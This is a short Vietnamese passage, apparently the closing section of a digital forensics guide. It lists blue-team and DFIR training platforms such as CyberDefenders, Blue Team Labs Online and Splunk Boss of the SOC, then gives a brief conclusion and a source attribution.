CyberDefenders	Nền tảng CTF với thử thách bộ nhớ, ổ đĩa và mạng.
Blue Team Labs Online	Bài tập DFIR có hướng dẫn và chứng cứ thực tế.

Tài nguyên	Công dụng
Splunk Boss of the SOC	CTF hằng năm với lượng chứng cứ điều tra lớn và kho bài cũ.

Kết lời

Chứng cứ không bao giờ nói dối. Nó chỉ chờ được tìm thấy.

Nguồn nội dung: *Digital Forensics Complete Guide - The Cyber Bite, 2026 Edition*. Bản tiếng Việt này được biên soạn để hỗ trợ học tập; các lệnh cần được thực hiện trong môi trường được ủy quyền và cô lập phù hợp.